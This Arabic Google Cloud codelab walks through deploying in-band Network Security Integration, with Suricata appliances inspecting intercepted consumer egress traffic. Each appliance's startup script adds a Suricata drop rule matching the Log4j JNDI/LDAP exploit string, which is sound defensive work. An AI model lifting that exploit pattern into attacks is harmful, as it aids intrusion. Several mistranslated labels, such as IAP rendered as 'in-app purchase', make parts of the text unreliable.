درس تطبيقي حول دمج أمان الشبكة داخل النطاق (NSI)

1. مقدمة

دمج أمان الشبكة

توفّر ميزة "دمج أمان الشبكة" (NSI) المرونة اللازمة لتحسين أمان شبكتك لأحمال العمل. يمكنك الاستفادة من جهاز مصمّم خصيصًا من مورِّد برامج مستقل (ISV) تابع لجهة خارجية، أو الاستفادة من محرّك فحص عميق للحزمة (DPI) لفحص الحمولة. للسماح بالتكامل السلس مع هذه الأجهزة التابعة لجهات خارجية، تسهّل Google Cloud عملية نشر الأجهزة بشكلٍ شفاف بدون أي تغييرات في الشبكة أو التوجيه.

تقدّم Google Cloud نوعَين من عمليات دمج Network Security: خارج النطاق وداخل النطاق. سيتضمّن هذا الدرس التطبيقي خطوات نشر ميزة "دمج أمان الشبكة" المضمّنة.

دمج أمان الشبكة داخل النطاق

توفّر ميزة "دمج أمان الشبكة" عملية دمج ضمن النطاق باستخدام تكنولوجيا اعتراض الحِزم التي تتيح لك وضع أجهزة شبكة تابعة لجهات خارجية في مسار حركة بيانات الشبكة لإجراء فحص شفاف لأحجام المعالجة في Google Cloud. تستخدم هذه العملية عملية التغليف العام لبروتوكول الشبكة الافتراضية (GENEVE) لنقل الحِزم بشكل آمن إلى الجهاز بدون تغيير عناوين IP الأصلية للمصدر والوجهة.

يوفّر الدمج داخل النطاق نهجًا يركّز على الخدمة لنشر واستخدام أجهزة الشبكة المضمّنة التابعة لجهات خارجية في وضع "الدمج المباشر". بصفتك منتج خدمة، يمكنك نشر مجموعة قابلة للتوسيع من أجهزة الشبكة التابعة لجهات خارجية كعملية نشر اعتراضية. بصفتك مستهلكًا للخدمة، يمكنك استخدام سياسات وقواعد Cloud Next Generation Firewall لإجراء اختيار دقيق للزيارات وإعادة توجيهها بشكل شفاف إلى نقطة اعتراض محلية لفحصها.

61bfbf754e04cf70.png

الشكل 1: بنية التوزيع العالية المستوى لخدمة الدمج داخل النطاق

لمزيد من المعلومات حول دمج أمان الشبكة (NSI) ضمن النطاق، يُرجى الاطّلاع على نظرة عامة حول الدمج ضمن النطاق.

In-band Service Producer

منتجو الخدمات هم الجهات التي يتم فيها نشر الأجهزة التابعة لجهات خارجية وإدارتها. يمكن أن يدير هذه العملية أحد الأشخاص في مؤسستك (فريق الأمان وما إلى ذلك) أو مورّد خارجي. يسجّل المنتجون أجهزتهم الافتراضية، التي يمكن أن تكون أجهزة تابعة لجهات خارجية، كخوادم خلفية لموازن تحميل شبكة المرور الداخلي في شبكة السحابة الإلكترونية الخاصة الافتراضية (VPC). تفحص هذه الأجهزة حركة بيانات الشبكة التي تتم إعادة توجيهها إليها. بعد ذلك، ينشئ مقدّمو الخدمة عمليات نشر اعتراضية، وهي مورد على مستوى المنطقة يشير إلى قاعدة إعادة التوجيه الخاصة بـ "موازنة الحمل على الشبكة الداخلية" من النوع "نقل البيانات المباشر".

عملية نشر الاعتراض هي مورد خاص بمنطقة معيّنة يمثّل خدمة الفحص التي يقدّمها المنتج لمنطقة معيّنة. ينشئ المنتجون عمليات نشر اعتراضية لكل منطقة نشروا فيها أجهزتهم الافتراضية.

مجموعة نشر اعتراض هي مورد عالمي على مستوى المشروع يتيح للمستهلكين الاتصال بخدمات الفحص الخاصة بالمنتج. ينشئ المنتجون مجموعة نشر اعتراضية لتجميع عمليات نشر اعتراضية متعددة على مستوى المنطقة. يستخدم المنتجون خدمة إدارة الهوية وإمكانية الوصول (IAM) للتحكّم في المستهلكين الذين يمكنهم الاتصال بمجموعة النشر.

لمزيد من المعلومات، يُرجى الاطّلاع على نظرة عامة على مجموعات نشر الإعلانات البينية ونظرة عامة على عمليات نشر الإعلانات البينية.

In-band Service Consumer

يستخدم مستهلكو الخدمات خدمات الفحص التي يقدّمها المنتجون. يحدّد المستهلكون شبكات VPC التي يريدون فحصها والجهة المنتجة التي يريدون الحصول على البيانات منها. لإجراء ذلك، ينشئ المستهلكون مجموعة نقاط نهاية اعتراض، وهي مورد عام يمثّل جانبهم من علاقة المنتج والمستهلك، ويربطون مجموعة نقاط نهاية الاعتراض بمجموعة نشر الاعتراض الخاصة بالمنتج.

لربط مجموعة نقاط نهاية الاعتراض بشبكات VPC التي يريدون فحص حركة البيانات منها، ينشئ المستهلكون عملية ربط مجموعة نقاط نهاية الاعتراض. لاختيار عدد الزيارات التي يجب إرسالها إلى المنتج لفحصها، ينشئ المستهلكون سياسات جدار حماية بين الشبكات ويستخدمونها. ينشئ المستهلكون مجموعة ملفات أمان شخصية تحتوي على ملف أمان شخصي يشير إلى مجموعة نقاط نهاية الاعتراض. بعد ذلك، ينشئ المستهلكون قاعدة جدار حماية لإعادة توجيه الزيارات التي تتطابق مع معايير معيّنة إلى أجهزة المنتج.

على الرغم من أنّ "مجموعة نقاط نهاية اعتراضية" (IEG) هي مورد على مستوى المشروع، ليس من الضروري أن تكون "مجموعة نقاط النهاية الاعتراضية" وربطها في المشروع نفسه. يمكن الإشارة إلى IEG من خلال ربط IEG من مشاريع أخرى داخل مؤسستك. وهي تمثّل جانب المستهلك في العلاقة بين المنتج والمستهلك. ينشئ المستهلكون مجموعة نقاط نهاية اعتراضية لاستخدام خدمة الفحص التي يقدّمها المنتج. ترتبط كل مجموعة نقاط نهاية اعتراض على جهة المستهلك بمجموعة نشر اعتراض واحدة على جهة المنتج.

لمزيد من المعلومات، يُرجى الاطّلاع على نظرة عامة على مجموعات نقاط النهاية وعمليات الربط التي يتم اعتراضها.

على المستهلكين إنشاء قاعدة سياسة جدار الحماية لإعادة توجيه الزيارات إلى مجموعة نقاط النهاية التي تعترضها. يمكن للمستهلكين تحديد معايير المطابقة ضمن قاعدة سياسة جدار الحماية، ما يتيح لهم تحديد حركة البيانات التي يجب أن تفحصها أجهزة المنتج.

ينشئ المستهلكون ملف أمان مخصّصًا للاعتراض لتحديد مجموعة نقاط نهاية الاعتراض التي يجب استخدامها لفحص الزيارات.

ينشئ المستهلكون مجموعة ملفات تعريف أمان لتحديد مجموعة من ميزات فحص الأمان التي يجب تطبيقها على مجموعة فرعية محدّدة من الزيارات. تحتوي مجموعة ملفات تعريف الأمان على ملف تعريف أمان مخصّص واحد للاعتراض.

ما ستنشئه

ea01a16258c792c1.png

الشكل 2: بنية النشر العالية المستوى لهذا الدرس التطبيقي حول الترميز

لتبسيط هذا الدرس التطبيقي، ستستخدم مشروعًا واحدًا وتنشئ شبكتَي VPC، بالإضافة إلى إدارة عدد من موارد الشبكة والأمان. سيوضّح هذا التمرين العملي كيفية نشر عملية دمج خدمة الشبكة داخل النطاق مع جهاز تابع لجهة خارجية لإدراج الأمان بشكلٍ شفاف.

سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات المطابقة في Cloud Firewall، بما في ذلك 5-tuple (عنوان IP المصدر، وعنوان IP الوجهة، والبروتوكول، ومنفذ المصدر، ومنفذ الوجهة). لتبسيط هذا المختبر، ستفحص كل حركة مرور EGRESS على منفذ TCP 80.

سيسمح المنتج بالدخول من عنوان IP لبوابة الشبكة الفرعية لشبكة VPC الخاصة بالمنتج (10.0.0.1/32) لحِزم UDP التي تحمل رقم المنفذ الوجهة 6081، وهو المنفذ المعروف لبروتوكول GENEVE.

ستكون الحالة النهائية لقاعدة بيانات قواعد سياسة جدار الحماية بين الشبكات مشابهة للجدول أدناه:

سياسة شبكة المنتجين:

الأولوية

الاتجاه

البروتوكول

Target

المصدر

الوجهة

منفذ الوجهة

الإجراء

100

حركة بيانات واردة

الكل

الكل

Health-Checks

أي

أي

السماح

200

حركة بيانات واردة

الكل

الكل

شراء داخل التطبيق

أي

أي

السماح

300

حركة بيانات واردة

UDP

الكل

10.0.0.1/32

أي

6081

السماح

سياسة شبكة المستهلكين:

الأولوية

الاتجاه

البروتوكول

Target

المصدر

الوجهة

منفذ الوجهة

الإجراء

200

حركة بيانات واردة

TCP

الكل

شراء داخل التطبيق

أي

22

السماح

800

حركة بيانات صادرة

TCP

الكل

أي

أي

80

اعتراض

ما ستتعلمه

  • كيفية نشر عملية دمج أمان الشبكة ضمن النطاق

المتطلبات

  • مؤسسة Google Cloud ومشروعها
  • أذونات "إدارة الهوية وإمكانية الوصول" المناسبة
  • معرفة كيفية نشر الآلات الافتراضية وضبط مكونات الشبكة
  • معرفة إعدادات "جدار الحماية لسياسة الشبكة"

2. قبل البدء

أدوار وأذونات إدارة الهوية وإمكانية الوصول

لإكمال الدرس التطبيقي حول الترميز لعملية دمج أمان الشبكة (NSI) ضمن النطاق، ستحتاج إلى أدوار "إدارة الهوية وإمكانية الوصول" (IAM) التالية:

  • مشرف شبكة Compute (roles/compute.networkAdmin): مطلوب لإنشاء شبكات VPC والشبكات الفرعية وأجهزة توجيه Cloud وبوابات NAT وخدمات الخلفية لموازنة الحمل وإدارتها.
  • مشرف أمان Compute (roles/compute.securityAdmin): ضروري لإنشاء سياسات وقواعد جدار حماية بين الشبكات العامة وتكوينها وربطها.
  • مشرف مثيل Compute (roles/compute.instanceAdmin.v1): مطلوب لنشر أجهزة Suricata واختبار الأجهزة الافتراضية للمستهلكين والاتصال بها عبر بروتوكول SSH وحذفها في النهاية.
  • مشرف نشر الإعلانات الاعتراضية (roles/networksecurity.interceptDeploymentAdmin): يستخدمه المنتج لإنشاء عمليات نشر الإعلانات الاعتراضية على مستوى المناطق وإدارتها، بالإضافة إلى مجموعة النشر على مستوى العالم.
  • Intercept Endpoint Admin (roles/networksecurity.interceptEndpointAdmin): يستخدمها المستهلك لإنشاء مجموعات نقاط نهاية اعتراض وربطها بشبكة VPC.
  • مستخدم نشر اعتراض (roles/networksecurity.interceptDeploymentUser): مطلوب في مشروع المنتج لمنح المستهلك إذن الاتصال بمجموعة نشر المنتج.
  • مشرف ملف الأمان (roles/networksecurity.securityProfileAdmin): مطلوب على مستوى المؤسسة لإنشاء وإدارة ملفات أمان مخصّصة لعمليات الاعتراض ومجموعات ملفات الأمان.
  • مشرف استخدام الخدمة (roles/serviceusage.serviceUsageAdmin): ضروري لتفعيل واجهتَي برمجة التطبيقات networksecurity.googleapis.com وcompute.googleapis.com المطلوبتَين لميزات "مؤشر جودة الشبكة".
  • مشاهد المشروع (roles/viewer): مطلوب لاسترداد معلومات إعداد المشروع وتسلسل المؤسسة الهرمي لمتغيرات البيئة المستخدَمة في جميع أنحاء المختبر.

Google Cloud APIs

يُرجى التأكّد من تفعيل واجهات Google Cloud APIs المطلوبة في مشروعك.

فعِّل واجهات برمجة التطبيقات اللازمة، ونفِّذ أوامر gcloud التالية ضِمن Cloud Shell.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

إنشاء/تعديل المتغيّرات

يستخدِم هذا الدرس التطبيقي حول الترميز $variables للمساعدة في تنفيذ عملية الضبط gcloud في Cloud Shell.

في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3- إجراءات المنتِج

سيتناول هذا القسم عملية نشر المنتج. ويشمل ذلك نشر السحابة الإلكترونية الافتراضية الخاصة (VPC) وجهاز الشبكة الافتراضي التابع لجهة خارجية وجميع المكوّنات ذات الصلة بدمج أمان الشبكة.

مكوّنات شبكة VPC وCloud NAT

  1. أنشئ شبكة VPC وشبكة فرعية:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. احصل على عنوان IP لبوابة الشبكة الفرعية لاستخدامه في قاعدة جدار الحماية:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. أنشئ سياسة وقواعد جدار الحماية لشبكة VPC الخاصة بالمنتج. ستسمح قواعد جدار الحماية هذه بدخول الزيارات الواردة من عمليات التحقّق من الصحة وIAP وNSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. ربط شبكة VPC الخاصة بالمنتج بسياسة "جدار الحماية" في الشبكة:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. نشر Cloud Router وCloud NAT لجهاز الشبكة الافتراضي (NVA) التابع لجهة خارجية من أجل تنزيل الحِزم والتحديثات المطلوبة:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

الأجهزة الافتراضية التابعة لجهات خارجية

في هذا التمرين العملي، ستنفّذ Suricata، وهي خدمة مفتوحة المصدر لرصد التهديدات. يحتوي الأمر على نص برمجي لبدء التشغيل سيقوم بتثبيت Suricata وإعداده. تتوفّر أيضًا iptables التي تنفّذ ترجمة عنوان الشبكة المصدر (SNAT) وترجمة عنوان الشبكة الوجهة (DNAT) للتعامل مع حِزم GENEVE والاستجابة لها.

  1. نشِّر جهاز NVA تابعًا لجهة خارجية في منطقتك الأولى.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. نشر شبكة NVA تابعة لجهة خارجية في منطقتك الثانية:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

مكوّنات موازن الحمل الخاص بالمنتج

  1. أنشئ عملية التحقق من الصحة العامة المستخدمة للتحقق من توفّر NVA التابعة لجهة خارجية:
gcloud compute health-checks create http nva-hc
  1. أنشئ مجموعة مثيلات غير مُدارة على مستوى المنطقة لكل منطقة:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. أضِف مثيلاتك إلى مجموعات المثيلات:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

تأكَّد من أنّ مجموعات المثيلات تحتوي على مثيلاتك باستخدام الأوامر التالية:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

مثال على الناتج:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. أنشئ خدمة خلفية داخلية لبروتوكول UDP:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. أضِف كلتا مجموعتَي الأجهزة الافتراضية إلى خدمة الخلفية:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. احجز عناوين IP داخلية لقواعد إعادة التوجيه. يتطلّب كل عملية نشر اعتراض قاعدة توجيه فريدة:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. أنشئ قاعدة إعادة التوجيه لكل منطقة. هذا الإجراء مطلوب لأنّ عملية نشر الاعتراض تتطلّب قاعدة إعادة توجيه فريدة:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

مكوّنات دمج أمان الشبكة

  1. أنشِئ مجموعة نشر إعلانات مقاطعة:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

تأكَّد من إنشاء مجموعة النشر بنجاح:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

مثال على الناتج:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. أنشئ عملية نشر لإعلان مقاطِع لكل منطقة:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

تأكَّد من إنشاء عمليات نشر الاعتراض بنجاح:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

مثال على الناتج:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

تهانينا، لقد أكملت عملية إعداد حساب المنتج. بعد ذلك، عليك ضبط جهة المستهلك لاعتراض الزيارات وإرسالها بشكل شفاف إلى الأجهزة التابعة لجهات خارجية لفرض السياسات.

4. إجراءات المستهلكين

على الرغم من أنّ هذا المختبر يستخدم شبكات VPC منفصلة ضِمن مشروع واحد لتبسيط العملية، يمكن أن تتوفّر موارد المنتج والمستهلك في بيئات العالم الحقيقي في مشاريع مختلفة أو حتى في مؤسسات مختلفة.

مكوّنات شبكة VPC وCloud NAT

  1. أنشئ شبكة VPC وشبكة فرعية:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. أنشئ Cloud Router وبوابة Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

اعتراض مجموعة نقاط النهاية وربطها

  1. إنشاء مجموعة نقاط نهاية اعتراض:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

التحقّق من إنشاء نقطة النهاية بنجاح:

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

مثال على الناتج:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. أنشئ ربطًا بين مجموعة نقاط نهاية الاعتراض وتحديد شبكة VPC الخاصة بالمستهلك:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

التحقّق من صحة:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

مثال على الناتج:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

ملف الأمان ومجموعة ملفات الأمان

بعد ذلك، ستنشئ ملف أمان مخصّصًا للاعتراض وتربطه بمجموعة ملفات الأمان. يتم استخدام ملف الأمان ومجموعة ملفات الأمان لاعتراض الحِزم للأجهزة الخارجية.

  1. إنشاء ملف أمان مخصّص للاعتراض:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

تأكَّد من إنشاء ملف الأمان بنجاح:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

مثال على الناتج:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. إنشاء مجموعة ملفات أمان:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

تأكَّد من إنشاء مجموعة المنتجات الذكية بنجاح:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

مثال على الناتج:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

سياسة جدار الحماية وقواعده وربطه

  1. إنشاء سياسة جدار حماية بين الشبكات العالمية:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. أنشئ قواعد جدار الحماية:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. أنشئ قاعدة جدار الحماية لاعتراض جميع الزيارات الخارجة التي تستخدم NSI لإرسالها إلى جهاز تابع لجهة خارجية بشكل شفاف. سترسل هذه القاعدة جميع زيارات الخروج TCP:80 لإجراء الفحص.
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. ربط سياسة جدار الحماية على السحابة الإلكترونية بشبكة VPC:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

الأجهزة الافتراضية للمستهلكين

  1. نشر الأجهزة الافتراضية المستخدَمة للتحقّق من صحة NSI سيتم نشر 3 أجهزة افتراضية في 3 مناطق. تذكَّر أنّه تم تفعيل ميزة "الاستهداف حسب الموقع الجغرافي غير الدقيق" في منطقتَين فقط، بينما لم يتم تفعيلها في المنطقة $zonec.
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

